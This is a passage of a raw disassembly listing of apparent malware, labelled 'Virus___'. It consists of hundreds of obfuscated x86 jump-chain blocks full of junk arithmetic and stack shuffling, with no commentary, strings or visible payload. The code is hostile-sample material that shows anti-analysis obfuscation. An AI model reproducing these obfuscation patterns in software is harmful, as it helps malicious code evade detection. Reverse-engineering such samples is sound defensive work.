jmp loc_58F09D ; --------------------------------------------------------------------------- loc_589C00: ; CODE XREF: Virus___:0058B721j mov edi, 4992F08h add eax, edi jmp loc_588C09 ; --------------------------------------------------------------------------- loc_589C0C: ; CODE XREF: Virus___:005871B6j add ah, 0FFh push bx mov bl, 0D8h add ah, bl jmp loc_584FE0 ; --------------------------------------------------------------------------- loc_589C1A: ; CODE XREF: Virus___:0058A3D0j pop ecx jmp loc_584038 ; --------------------------------------------------------------------------- loc_589C20: ; CODE XREF: Virus___:0058E918j shl ebp, 2 xor ebp, 0FCD18DE8h sub edi, ebp pop ebp sub edi, 11903E72h jmp loc_58B8BE ; --------------------------------------------------------------------------- loc_589C37: ; CODE XREF: Virus___:00588D50j xor edi, 0CC005E49h add edx, edi pop edi add ebx, 2F54302Fh add ebx, edx sub ebx, 2F54302Fh mov edx, [esp] add esp, 4 jmp loc_5929D1 ; --------------------------------------------------------------------------- loc_589C59: ; CODE XREF: Virus___:005869B8j mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] jmp loc_581086 ; --------------------------------------------------------------------------- loc_589C6C: ; CODE XREF: Virus___:0058B285j sub ebx, 6E084FADh shr ebx, 4 xor ebx, 51BB2C93h sub ebx, 304D65E4h xor eax, ebx pop ebx inc eax xor eax, 24180AB1h mov esi, eax pop eax or esi, 557A2238h jmp loc_58FE21 ; --------------------------------------------------------------------------- loc_589C98: ; CODE XREF: Virus___:00591CC0j add edx, ebx sub edx, 3FAD169Dh pop ebx add ecx, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], ebp jmp loc_58544C ; --------------------------------------------------------------------------- loc_589CB2: ; CODE XREF: Virus___:00584695j mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp push ebx mov ebx, 61021091h add ebx, 9EFDEF73h jmp loc_58125F ; --------------------------------------------------------------------------- loc_589CD4: ; CODE XREF: Virus___:00584364j add edi, 4 xor edi, [esp] jmp loc_5936E6 ; --------------------------------------------------------------------------- loc_589CDF: ; CODE XREF: Virus___:00583309j or ebx, 1915382Fh sub ebx, 30C25D92h sub eax, ebx mov ebx, [esp] add esp, 4 sub eax, 7DE33363h jmp loc_58742F ; --------------------------------------------------------------------------- loc_589D00: ; CODE XREF: Virus___:005873DAj pop eax add dl, 38h neg dl push ebx mov bl, 8Ah push cx mov ch, 35h or bl, ch mov cx, [esp] add esp, 2 add bl, 0BAh add dl, bl pop ebx not dl push ecx jmp loc_58A3ED ; --------------------------------------------------------------------------- loc_589D27: ; CODE XREF: Virus___:005884AEj dec al push cx mov cl, 0DFh sub al, cl mov cx, [esp] add esp, 2 jmp loc_58C91E ; --------------------------------------------------------------------------- loc_589D3E: ; CODE XREF: Virus___:00582A26j push ebx push esi jmp loc_580DFD ; --------------------------------------------------------------------------- loc_589D45: ; CODE XREF: Virus___:00583B1Bj xor ebx, [esp] pop esp shr byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_589D52: ; CODE XREF: Virus___:005852C3j push eax push edi jmp loc_580981 ; --------------------------------------------------------------------------- loc_589D59: ; CODE XREF: Virus___:00593982j mov ebx, esp jmp loc_590553 ; --------------------------------------------------------------------------- loc_589D60: ; CODE XREF: Virus___:0058F4A5j shr esi, 7 jmp loc_587B6A ; --------------------------------------------------------------------------- loc_589D68: ; CODE XREF: Virus___:00590DA4j push eax jmp loc_584B1F ; --------------------------------------------------------------------------- loc_589D6E: ; CODE XREF: Virus___:00589501j inc edx push eax mov eax, 9F3BA15Eh sub edx, eax pop eax add esi, edx push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_59372B ; --------------------------------------------------------------------------- loc_589D86: ; CODE XREF: Virus___:005889D3j xor [esp], ebx jmp loc_58E201 ; --------------------------------------------------------------------------- loc_589D8E: ; CODE XREF: Virus___:0058636Ej add ebx, eax push ebp mov ebp, 46F42DBh sub ebp, 73E43D63h and ebp, 18647F30h jmp loc_592D37 ; --------------------------------------------------------------------------- loc_589DA7: ; CODE XREF: Virus___:005883A0j add ebx, edi sub esp, 4 mov [esp], edx mov edx, 2E942D02h sub edx, 4CA96291h add edx, 0FFFFFFFFh xor edx, 68FE1A03h jmp loc_58BFF2 ; --------------------------------------------------------------------------- loc_589DCB: ; CODE XREF: Virus___:00585B16j pop esp add ebx, 4 push edx push esi push 77150BDDh mov esi, [esp] add esp, 4 mov edx, esi pop esi sub edx, 1 push 7ABCh mov [esp], ecx mov ecx, 77150BDAh sub edx, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add ebx, edx mov edx, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mul cx sub esp, 4 mov [esp], edi mov edi, esp jmp loc_583E1C ; --------------------------------------------------------------------------- loc_589E30: ; CODE XREF: Virus___:00593E23j xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_58D98D ; --------------------------------------------------------------------------- loc_589E40: ; CODE XREF: Virus___:0058FC07j pop dword ptr [esp] mov esp, [esp] jmp loc_5881DC ; --------------------------------------------------------------------------- loc_589E4B: ; CODE XREF: Virus___:00580352j push ebx jmp loc_592B53 ; --------------------------------------------------------------------------- loc_589E51: ; CODE XREF: Virus___:00585862j add ebx, 1 jmp loc_588F22 ; --------------------------------------------------------------------------- loc_589E5C: ; CODE XREF: Virus___:0058A01Fj sub esp, 4 jmp loc_590B55 ; --------------------------------------------------------------------------- loc_589E67: ; CODE XREF: Virus___:0057FF99j add ecx, esi pop esi push ecx push dword ptr [esp+4] jmp loc_58DD24 ; --------------------------------------------------------------------------- loc_589E74: ; CODE XREF: Virus___:0058C0C9j inc ebx jmp loc_591034 ; --------------------------------------------------------------------------- loc_589E7A: ; CODE XREF: Virus___:00588D93j pop edx jmp loc_582606 ; --------------------------------------------------------------------------- loc_589E80: ; CODE XREF: Virus___:00580198j mov ecx, esi pop esi add ecx, 53630F08h jmp loc_58601F ; --------------------------------------------------------------------------- loc_589E8E: ; CODE XREF: Virus___:0058F750j sub esp, 4 mov [esp], eax mov ah, 0D4h push ecx jmp loc_58C1CD ; --------------------------------------------------------------------------- loc_589E9F: ; CODE XREF: Virus___:00580EFBj mov eax, ebp pop ebp sub esp, 4 mov [esp], ecx mov ecx, 51732599h jmp loc_58D296 ; --------------------------------------------------------------------------- loc_589EB5: ; CODE XREF: Virus___:00580C53j xchg ebx, ebp xor eax, ebp xor ebp, eax xor eax, ebp jmp loc_593C4E ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_59056F ; --------------------------------------------------------------------------- loc_589ECB: ; CODE XREF: Virus___:0058AE4Cj push dword ptr [esp] mov ecx, [esp] push eax jmp loc_580C6A ; --------------------------------------------------------------------------- loc_589ED7: ; CODE XREF: Virus___:005907FEj mov eax, [esp] add esp, 4 add eax, 0DFBCFE10h push eax push dword ptr [esp] pop edi jmp loc_5903EF ; --------------------------------------------------------------------------- loc_589EEC: ; CODE XREF: Virus___:00589A44j pop ebp jmp loc_583936 ; --------------------------------------------------------------------------- loc_589EF2: ; CODE XREF: Virus___:005867F4j mov [esp], edx mov edx, 455D3745h push esi mov esi, 455D3741h sub edx, esi pop esi add eax, edx jmp loc_5941B7 ; --------------------------------------------------------------------------- loc_589F0A: ; CODE XREF: Virus___:0058C92Cj add bl, ch jmp loc_58A76A ; --------------------------------------------------------------------------- loc_589F11: ; CODE XREF: Virus___:0059433Dj xchg ebp, [esp] jmp loc_58A745 ; --------------------------------------------------------------------------- loc_589F19: ; CODE XREF: Virus___:00586A70j neg ebp push 480h mov [esp], edx mov edx, 215B3CE1h sub ebp, 0CD0A03h add ebp, edx jmp loc_58F3D1 ; --------------------------------------------------------------------------- loc_589F35: ; CODE XREF: Virus___:005828C9j mov edx, ecx pop ecx add ebp, edx mov edx, [esp] add esp, 4 jmp loc_58391B ; --------------------------------------------------------------------------- loc_589F48: ; CODE XREF: Virus___:0058380Bj mov [esp], edi push esi mov esi, 25B11CD8h push 51F7h mov [esp], esi push edi sub esp, 4 mov [esp], eax mov eax, 41602A5h mov edi, 6F1767B8h jmp loc_5867F9 ; --------------------------------------------------------------------------- loc_589F72: ; CODE XREF: Virus___:0058CE2Cj mov edx, 4A4A661Eh shl edx, 5 jmp loc_59154C ; --------------------------------------------------------------------------- loc_589F7F: ; CODE XREF: Virus___:005937EEj push edx mov edx, 10B639CFh add edx, 2A387159h push esi push ecx mov ecx, 17C41E56h jmp loc_58C7AC ; --------------------------------------------------------------------------- loc_589F97: ; CODE XREF: Virus___:005879D7j mov edx, esp jmp loc_58CD95 ; --------------------------------------------------------------------------- loc_589F9E: ; CODE XREF: Virus___:00590578j push esp jmp loc_58A9B4 ; --------------------------------------------------------------------------- loc_589FA4: ; CODE XREF: Virus___:0058CB15j mov [esp], edx mov edx, 79692729h push eax mov eax, 44376366h jmp loc_5894E0 ; --------------------------------------------------------------------------- loc_589FB7: ; CODE XREF: Virus___:0058BA64j push ecx mov ecx, 422D57A7h jmp loc_582E68 ; --------------------------------------------------------------------------- loc_589FC2: ; CODE XREF: Virus___:0058CAB6j mov esi, 42975FE3h sub eax, esi jmp loc_58A6F3 ; --------------------------------------------------------------------------- loc_589FCE: ; CODE XREF: Virus___:0058C97Fj pop bx sub dl, cl push dword ptr [esp] jmp loc_58D20D ; --------------------------------------------------------------------------- loc_589FDA: ; CODE XREF: Virus___:005894EDj add edx, eax pop eax shr edx, 3 or edx, 7EE4730Dh jmp loc_5930DF ; --------------------------------------------------------------------------- loc_589FEB: ; CODE XREF: Virus___:00590204j mov esi, [esp] jmp loc_58B850 ; --------------------------------------------------------------------------- loc_589FF3: ; CODE XREF: Virus___:00592DACj mov eax, 45547671h sub eax, 5D10303Eh push ebp jmp loc_586800 ; --------------------------------------------------------------------------- loc_58A003: ; CODE XREF: Virus___:00590CFFj mov [esp], esi jmp loc_593941 ; --------------------------------------------------------------------------- loc_58A00B: ; CODE XREF: Virus___:00588AC4j add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ecx, 2 jmp loc_589E5C ; --------------------------------------------------------------------------- loc_58A024: ; CODE XREF: Virus___:00580DBCj xor ebp, 30076ABEh push ebx mov ebx, 7775223h xor ebx, 3B8C3E1Eh add ebx, 0A9499870h jmp loc_58B3F5 ; --------------------------------------------------------------------------- loc_58A041: ; CODE XREF: Virus___:0059447Bj add esp, 4 push ebp mov ebp, 1A270839h jmp loc_5868C1 ; --------------------------------------------------------------------------- lodsb push small 579Eh mov [esp], bx mov bh, 0AEh sub al, 0A5h add al, bh add al, 0A5h mov bx, [esp] push edi mov edi, esp push ebx mov ebx, 169B4B4Ah jmp loc_590152 ; --------------------------------------------------------------------------- loc_58A075: ; CODE XREF: Virus___:00588DCDj mov [esp], eax push edx mov dl, 72h neg dl not dl not dl add dl, 0Ch or dl, 0B9h jmp loc_580F1E ; --------------------------------------------------------------------------- loc_58A08C: ; CODE XREF: Virus___:0058FFD9j pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], eax mov eax, esp jmp loc_58AC24 ; --------------------------------------------------------------------------- loc_58A09D: ; CODE XREF: Virus___:005892F0j pop edx xchg ebp, [esp] jmp loc_58AD53 ; --------------------------------------------------------------------------- loc_58A0A6: ; CODE XREF: Virus___:005849A9j mov esi, 183D576Bh jmp loc_58D1B0 ; --------------------------------------------------------------------------- loc_58A0B0: ; CODE XREF: Virus___:00589B7Ej xchg edx, [esp] pop esp sub bl, 14h add bl, 4Bh sub bl, al sub bl, 4Bh add bl, 14h push 3439h mov [esp], edx mov dl, 0DAh xor dl, 0B5h inc dl push eax mov al, 55h jmp loc_5898BB ; --------------------------------------------------------------------------- loc_58A0D9: ; CODE XREF: Virus___:00591C52j shr ebx, 4 xor ebx, 31AA76Fh mov edi, ebx jmp loc_59374E ; --------------------------------------------------------------------------- loc_58A0E9: ; CODE XREF: Virus___:005916A2j xor ebx, [esp] xor [esp], ebx jmp loc_58DCEB ; --------------------------------------------------------------------------- mov cx, [esp] push ebp jmp loc_58E137 ; --------------------------------------------------------------------------- loc_58A0FE: ; CODE XREF: Virus___:0058326Fj push dword ptr [esp] mov edi, [esp] jmp loc_58CEE7 ; --------------------------------------------------------------------------- loc_58A109: ; CODE XREF: Virus___:00590312j push esp pop dword ptr [esp] jmp loc_587A73 ; --------------------------------------------------------------------------- loc_58A112: ; CODE XREF: Virus___:0058017Ej shl cl, 5 sub cl, 1Ah mov dh, cl pop ecx jmp loc_58600E ; --------------------------------------------------------------------------- loc_58A120: ; CODE XREF: Virus___:00590648j add esp, 4 mov ebp, [esp] push edi mov edi, esp jmp loc_58263C ; --------------------------------------------------------------------------- loc_58A12E: ; CODE XREF: Virus___:0058A51Bj pop esi or edi, ebp pop ebp shl edi, 1 add edi, 63314077h jmp loc_583669 ; --------------------------------------------------------------------------- loc_58A13F: ; CODE XREF: Virus___:0058AEC8j mov ebp, 4 jmp loc_592812 ; --------------------------------------------------------------------------- loc_58A149: ; CODE XREF: Virus___:0058B145j pop ecx add esp, 4 push 2A46h mov [esp], edx mov dh, 0CDh dec dh dec dh neg dh xor dh, 17h add dh, 0AEh push bx mov bh, 1Fh xor bh, 0D5h neg bh xor bh, 95h sub dh, bh jmp loc_588119 ; --------------------------------------------------------------------------- loc_58A179: ; CODE XREF: Virus___:005886ECj push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ecx mov ecx, 4 push edx mov edx, 20E23C0Ch xor edx, 66791EB1h not edx shl edx, 3 add edx, 39813123h sub edi, edx pop edx push ecx mov ecx, 10B452E9h jmp loc_58EE08 ; --------------------------------------------------------------------------- loc_58A1B3: ; CODE XREF: Virus___:005833FFj push ebx mov ebx, 4 jmp loc_59236E ; --------------------------------------------------------------------------- loc_58A1BE: ; CODE XREF: Virus___:0058AC83j mov [esp], ebx mov ebx, esp jmp loc_5818DA ; --------------------------------------------------------------------------- loc_58A1C8: ; CODE XREF: Virus___:0058DCB4j push edx jmp loc_580F27 ; --------------------------------------------------------------------------- loc_58A1CE: ; CODE XREF: Virus___:0058A52Bj pop edi push 10FAh mov [esp], esi push eax mov eax, 46E50E1Bh shr eax, 8 push ecx mov ecx, 0D8DF80ABh sub eax, ecx pop ecx mov esi, eax mov eax, [esp] add esp, 4 sub esi, 2767645Fh add edi, esi mov esi, [esp] jmp loc_58556E ; --------------------------------------------------------------------------- loc_58A204: ; CODE XREF: Virus___:00584C19j and ebp, 35317F36h sub ebp, 4B71586Dh add ebp, 6C002A92h xor ecx, ebp pop ebp sub ebx, ecx jmp loc_58082D ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58A229: ; CODE XREF: Virus___:00586F37j pop ecx push 7C60h mov [esp], eax mov eax, 1D1E0125h jmp loc_59413B ; --------------------------------------------------------------------------- loc_58A23C: ; CODE XREF: Virus___:00583E8Fj mov eax, 536370D4h jmp loc_593D31 ; --------------------------------------------------------------------------- loc_58A246: ; CODE XREF: Virus___:005905E8j pop ebp sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] jmp loc_58FCFE ; --------------------------------------------------------------------------- loc_58A259: ; CODE XREF: Virus___:00582DE7j shl dl, 8 push eax mov al, 69h add al, 1 add al, 0C0h shr al, 1 jmp loc_590B87 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_586294 ; --------------------------------------------------------------------------- loc_58A273: ; CODE XREF: Virus___:00591C8Dj sub esi, 0ED720863h push ebx mov ebx, 4B877C7Bh shl ebx, 3 add ebx, 1C51670Eh add ebx, 93A6E83h dec ebx push esi mov esi, 0E20EB5BAh jmp loc_582EA3 ; --------------------------------------------------------------------------- loc_58A29A: ; CODE XREF: Virus___:00580531j not bh jmp loc_582E04 ; --------------------------------------------------------------------------- loc_58A2A1: ; CODE XREF: Virus___:0058F578j add eax, edx pop edx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5928AD ; --------------------------------------------------------------------------- loc_58A2B2: ; CODE XREF: Virus___:00590B5Fj push dword ptr [esp] pop ecx add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 2861h mov [esp], edx mov edx, esp push 0D6Dh mov [esp], ebp mov ebp, 200E5329h push eax jmp loc_5841AC ; --------------------------------------------------------------------------- loc_58A2E6: ; CODE XREF: Virus___:0058F672j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58A2EB: ; CODE XREF: Virus___:0058D85Ej mov esi, [esp] push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 sub esp, 4 mov [esp], esi push edx jmp loc_5852ED ; --------------------------------------------------------------------------- loc_58A30B: ; CODE XREF: Virus___:0058A834j xchg al, bl not al xchg al, bl add bl, 0EFh jmp loc_5873C4 ; --------------------------------------------------------------------------- loc_58A319: ; CODE XREF: Virus___:00593DB6j pop esp mov [esp], eax push esp pop eax push ebp mov ebp, 4 jmp loc_5934C4 ; --------------------------------------------------------------------------- loc_58A32A: ; CODE XREF: Virus___:00585D3Ej mov edx, eax pop eax mov esi, [esp] add esp, 4 add edx, 135135EFh add edx, edi sub edx, 135135EFh push dword ptr [esp] pop edi add esp, 4 and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_57FA99 ; --------------------------------------------------------------------------- loc_58A364: ; CODE XREF: Virus___:0057FC4Cj mov esp, [esp] jmp loc_58ADE5 ; --------------------------------------------------------------------------- loc_58A36C: ; CODE XREF: Virus___:00584C68j add esi, 0A6EAE04Fh and edx, esi pop esi dec edx inc edx sub edx, 0CAD5C547h mov eax, edx pop edx or eax, 2E9714FDh push eax not dword ptr [esp] jmp loc_584908 ; --------------------------------------------------------------------------- loc_58A38E: ; CODE XREF: Virus___:005928BFj xor ch, 5Ah xor ah, ch pop ecx push ecx jmp loc_5930B6 ; --------------------------------------------------------------------------- loc_58A39A: ; CODE XREF: Virus___:00583120j pop ebp sub esp, 4 mov [esp], ebp jmp loc_585844 ; --------------------------------------------------------------------------- loc_58A3A6: ; CODE XREF: Virus___:00580EF0j add esp, 4 push edx mov edx, 5DB87F1Dh xor ecx, edx pop edx pop ebx jmp loc_593BEC ; --------------------------------------------------------------------------- loc_58A3B8: ; CODE XREF: Virus___:0058D0CFj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_58A591 ; --------------------------------------------------------------------------- loc_58A3C6: ; CODE XREF: Virus___:0058DA8Cj add esp, 4 jmp loc_586043 ; --------------------------------------------------------------------------- loc_58A3CE: ; CODE XREF: Virus___:005932EBj sub dl, ch jmp loc_589C1A ; --------------------------------------------------------------------------- loc_58A3D5: ; CODE XREF: Virus___:005920ACj add esp, 4 add eax, 4 add eax, 4 jmp loc_590567 ; --------------------------------------------------------------------------- loc_58A3E7: ; CODE XREF: Virus___:005925DDj push eax jmp loc_58AF1D ; --------------------------------------------------------------------------- loc_58A3ED: ; CODE XREF: Virus___:00589D22j mov ch, 2Fh push eax mov ah, 5Fh jmp loc_582FC4 ; --------------------------------------------------------------------------- loc_58A3F7: ; CODE XREF: Virus___:0057F8D4j pop ecx push dword ptr [esp] pop edx push eax sub esp, 4 jmp loc_580265 ; --------------------------------------------------------------------------- loc_58A408: ; CODE XREF: Virus___:005848E0j sub edx, 0B784AB88h and eax, edx push dword ptr [esp] pop edx jmp loc_584E47 ; --------------------------------------------------------------------------- loc_58A419: ; CODE XREF: Virus___:005872E7j push dword ptr [esp] pop edi add esp, 4 push esi jmp loc_5830BA ; --------------------------------------------------------------------------- loc_58A426: ; CODE XREF: Virus___:005929BEj xor dh, 6 xor cl, dh pop edx add al, 9 add al, cl sub al, 9 pop ecx mov bx, [esp] push esi mov esi, esp jmp loc_580660 ; --------------------------------------------------------------------------- loc_58A43F: ; CODE XREF: Virus___:0058B9FAj pop ecx sub eax, esi pop esi mov ebx, eax push dword ptr [esp] pop eax jmp loc_5936C1 ; --------------------------------------------------------------------------- loc_58A44E: ; CODE XREF: Virus___:005923F2j xchg edi, [esp] pop esp mov [esp], esi push edx jmp loc_582D84 ; --------------------------------------------------------------------------- loc_58A45B: ; CODE XREF: Virus___:0058D37Dj pop esp shl dword ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58A465: ; CODE XREF: Virus___:00582F70j xor eax, [esp] mov esp, [esp] movsx ecx, ax sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push edx jmp loc_593C7E ; --------------------------------------------------------------------------- loc_58A490: ; CODE XREF: Virus___:005857ACj pop edx mov ebx, edi mov edi, [esp] push esi mov esi, esp jmp loc_58BFC2 ; --------------------------------------------------------------------------- loc_58A49E: ; CODE XREF: Virus___:0059363Fj push edx push ebp push 0A5C7736h mov ebp, [esp] add esp, 4 and ebp, 38540DEAh shr ebp, 2 sub ebp, 2150144h mov edx, ebp mov ebp, [esp] add esp, 4 jmp loc_591565 ; --------------------------------------------------------------------------- loc_58A4CA: ; CODE XREF: Virus___:00591C28j push eax push edi push ebx mov ebx, 47ED739Dh xchg edi, ebx xchg ecx, edi not ecx jmp loc_589289 ; --------------------------------------------------------------------------- loc_58A4DD: ; CODE XREF: Virus___:00590F1Bj xor [esp+4], ecx pop ecx pop ebx xor ebx, 4DE9396Fh jmp loc_58BA3C ; --------------------------------------------------------------------------- loc_58A4EE: ; CODE XREF: Virus___:0057FCACj push 335Bh mov [esp], edi mov edi, 4B534DB8h push ebp mov ebp, 1A4D3323h inc ebp shr ebp, 2 push esi mov esi, 73E741C7h add esi, 21B9352Eh neg esi sub esi, 34D59104h add ebp, esi jmp loc_58A12E ; --------------------------------------------------------------------------- loc_58A520: ; CODE XREF: Virus___:0058075Dj pop edi pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_58A1CE ; --------------------------------------------------------------------------- loc_58A530: ; CODE XREF: Virus___:005867DBj mov [esp], ebp push 2AECh push 2A0Dh mov [esp], esp add dword ptr [esp], 4 jmp loc_58FEA4 ; --------------------------------------------------------------------------- loc_58A549: ; CODE XREF: Virus___:0058C3C7j add ecx, 4 push eax mov eax, 2 sub ecx, eax pop eax xchg ecx, [esp] jmp loc_580371 ; --------------------------------------------------------------------------- loc_58A560: ; CODE XREF: Virus___:005859F5j pop esi push 30h mov [esp], ebp push ecx mov ecx, 4 mov ebp, ecx pop ecx add edx, 5251102Bh sub edx, ebp sub edx, 5251102Bh pop ebp jmp loc_592B85 ; --------------------------------------------------------------------------- loc_58A586: ; CODE XREF: Virus___:00587C78j add esp, 4 jmp loc_586405 ; --------------------------------------------------------------------------- loc_58A591: ; CODE XREF: Virus___:0058A3C1j pop esp mov [esp], edx push ecx jmp loc_58E350 ; --------------------------------------------------------------------------- loc_58A59B: ; CODE XREF: Virus___:0058B296j mov ebp, 1C0F2E74h sub edi, ebp jmp loc_591A6A ; --------------------------------------------------------------------------- loc_58A5A7: ; CODE XREF: Virus___:0058BDF5j push 621Ch mov [esp], edx not dword ptr [esp] mov edx, [esp] push eax mov eax, esp add eax, 4 push esi mov esi, 6C74762h shr esi, 6 not esi add esi, 28CC29E1h shl esi, 6 and esi, 42111B2h add esi, 0FBFEEF84h jmp loc_58C71E ; --------------------------------------------------------------------------- loc_58A5E2: ; CODE XREF: Virus___:005875AEj mov edx, esp push 50AFh mov [esp], esi push 4DC3h jmp loc_58E453 ; --------------------------------------------------------------------------- loc_58A5F6: ; CODE XREF: Virus___:0058BF46j push 53DFh mov [esp], esi push 52D4h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 push 33F9h jmp loc_587A29 ; --------------------------------------------------------------------------- loc_58A623: ; CODE XREF: Virus___:00584A00j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_59032E ; --------------------------------------------------------------------------- loc_58A63A: ; CODE XREF: Virus___:00588B80j mov [esp], eax jmp loc_582717 ; --------------------------------------------------------------------------- loc_58A642: ; CODE XREF: Virus___:00588F7Cj push ebx jmp loc_58A6B5 ; --------------------------------------------------------------------------- loc_58A648: ; CODE XREF: Virus___:00583D1Bj pop ecx push ebx mov ebx, 27D86ABFh and edx, ebx pop ebx jmp loc_57FA35 ; --------------------------------------------------------------------------- loc_58A657: ; CODE XREF: Virus___:005856B9j sub ebx, 9001E0CCh sub eax, ebx pop ebx add eax, ecx push esi mov esi, 58065C52h not esi sub esi, 61654208h add esi, 69DB36E1h jmp loc_58D2DC ; --------------------------------------------------------------------------- loc_58A67B: ; CODE XREF: Virus___:0057FAA4j mov ecx, [esp] push 222Bh mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi push edx push 7D66h mov [esp], esi push edi mov edi, 42820619h jmp loc_58B6BE ; --------------------------------------------------------------------------- loc_58A6A5: ; CODE XREF: Virus___:0059415Aj push 24C8h push 1837h push esp jmp loc_58B234 ; --------------------------------------------------------------------------- loc_58A6B5: ; CODE XREF: Virus___:0058A643j push esp jmp loc_582951 ; --------------------------------------------------------------------------- loc_58A6BB: ; CODE XREF: Virus___:005932B1j mov ebp, 45FA5D01h add [esp+8], ebp pop ebp sub [esp+4], ebx jmp loc_58182D ; --------------------------------------------------------------------------- loc_58A6CE: ; CODE XREF: Virus___:00581348j mov ebx, [esp] jmp loc_57FE80 ; --------------------------------------------------------------------------- loc_58A6D6: ; CODE XREF: Virus___:00582608j add al, 0F4h sub al, dh sub al, 0F4h jmp loc_58958A ; --------------------------------------------------------------------------- mov cx, [esp] push esi push esp mov esi, [esp] add esp, 4 push edx jmp loc_58B47C ; --------------------------------------------------------------------------- loc_58A6F3: ; CODE XREF: Virus___:00589FC9j pop esi push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 add eax, 48707B96h push ebx mov ebx, 26A25A70h add eax, ebx pop ebx sub eax, ebx jmp loc_588F48 ; --------------------------------------------------------------------------- loc_58A715: ; CODE XREF: Virus___:00580A60j xor [esp], ecx jmp loc_593E13 ; --------------------------------------------------------------------------- loc_58A71D: ; CODE XREF: Virus___:0058623Bj and edx, 7DA8661Bh xor edx, 240Dh add eax, edx pop edx xchg eax, [esp] jmp loc_582140 ; --------------------------------------------------------------------------- loc_58A734: ; CODE XREF: Virus___:00594184j push eax push 32710189h mov eax, [esp] add esp, 4 jmp loc_58D01D ; --------------------------------------------------------------------------- loc_58A745: ; CODE XREF: Virus___:00589F14j pop edi push ecx jmp loc_591764 ; --------------------------------------------------------------------------- loc_58A74C: ; CODE XREF: Virus___:0058413Aj mov ebp, [esp] jmp loc_586EC5 ; --------------------------------------------------------------------------- loc_58A754: ; CODE XREF: Virus___:00584877j sub esp, 4 mov [esp], edx jmp loc_5940CA ; --------------------------------------------------------------------------- loc_58A75F: ; CODE XREF: Virus___:0058F02Cj add ebp, 1EFB7029h jmp loc_58DCB9 ; --------------------------------------------------------------------------- loc_58A76A: ; CODE XREF: Virus___:00589F0Cj pop cx sub bl, 51h add bl, al add bl, 51h sub bl, 83h push ebp push esp pop ebp push edi mov edi, 4DDB440Dh dec edi add edi, 0B224BBF8h jmp loc_59273B ; --------------------------------------------------------------------------- loc_58A78C: ; CODE XREF: Virus___:0058752Fj mov ecx, [ebx] push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 sub esp, 4 jmp loc_588B29 ; --------------------------------------------------------------------------- loc_58A7A2: ; CODE XREF: Virus___:0058DEDFj mov eax, 18A30F7Fh sub esp, 4 mov [esp], ebx mov ebx, 7A882482h or eax, ebx mov ebx, [esp] add esp, 4 shr eax, 7 jmp loc_590E9C ; --------------------------------------------------------------------------- loc_58A7C2: ; CODE XREF: Virus___:005853B7j mov edx, 19D332B9h mov esi, edx pop edx jmp loc_5942D4 ; --------------------------------------------------------------------------- loc_58A7CF: ; CODE XREF: Virus___:005819AEj mov ebp, 2 add ecx, ebp pop ebp xchg ecx, [esp] jmp loc_58DC89 ; --------------------------------------------------------------------------- loc_58A7DF: ; CODE XREF: Virus___:00584E42j pop esp mov [esp], bx push eax mov ah, ch mov bh, ah pop eax mov ch, [esp+2] mov [esp+2], bh mov bx, [esp] add esp, 2 pop ecx xor [esp], cl jmp loc_5943DE ; --------------------------------------------------------------------------- loc_58A802: ; CODE XREF: Virus___:0058B823j add ebx, 78E10CCFh jmp loc_582C15 ; --------------------------------------------------------------------------- loc_58A80D: ; CODE XREF: Virus___:00585A8Fj add bl, 80h or bl, 0F9h shl bl, 7 add bl, 44h sub al, bl pop ebx push ebx sub esp, 4 mov [esp], edx push 0EE7h mov [esp], eax mov ah, 51h inc ah push cx push ebx mov bl, 44h jmp loc_58A30B ; --------------------------------------------------------------------------- loc_58A839: ; CODE XREF: Virus___:0058CF46j mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_586E70 ; --------------------------------------------------------------------------- loc_58A84F: ; CODE XREF: Virus___:0057FA94j push ecx jmp loc_5839A7 ; --------------------------------------------------------------------------- loc_58A855: ; CODE XREF: Virus___:0059382Dj sub al, 38h sub al, bl push ecx jmp loc_5825E4 ; --------------------------------------------------------------------------- loc_58A85F: ; CODE XREF: Virus___:0058EEDDj sub ecx, ebp mov ebp, [esp] add esp, 4 pop ebx dec ecx jmp loc_5900AB ; --------------------------------------------------------------------------- loc_58A871: ; CODE XREF: Virus___:0058E281j pop eax add al, dh pop edx add al, bl sub al, 4Ah push dword ptr [esp] pop ebx jmp loc_586BB6 ; --------------------------------------------------------------------------- loc_58A882: ; CODE XREF: Virus___:00587AAAj push edx jmp loc_59334D ; --------------------------------------------------------------------------- loc_58A888: ; CODE XREF: Virus___:00588CCDj push 5DBEh mov [esp], ebx sub esp, 4 jmp loc_581364 ; --------------------------------------------------------------------------- loc_58A898: ; CODE XREF: Virus___:00584741j pop esp 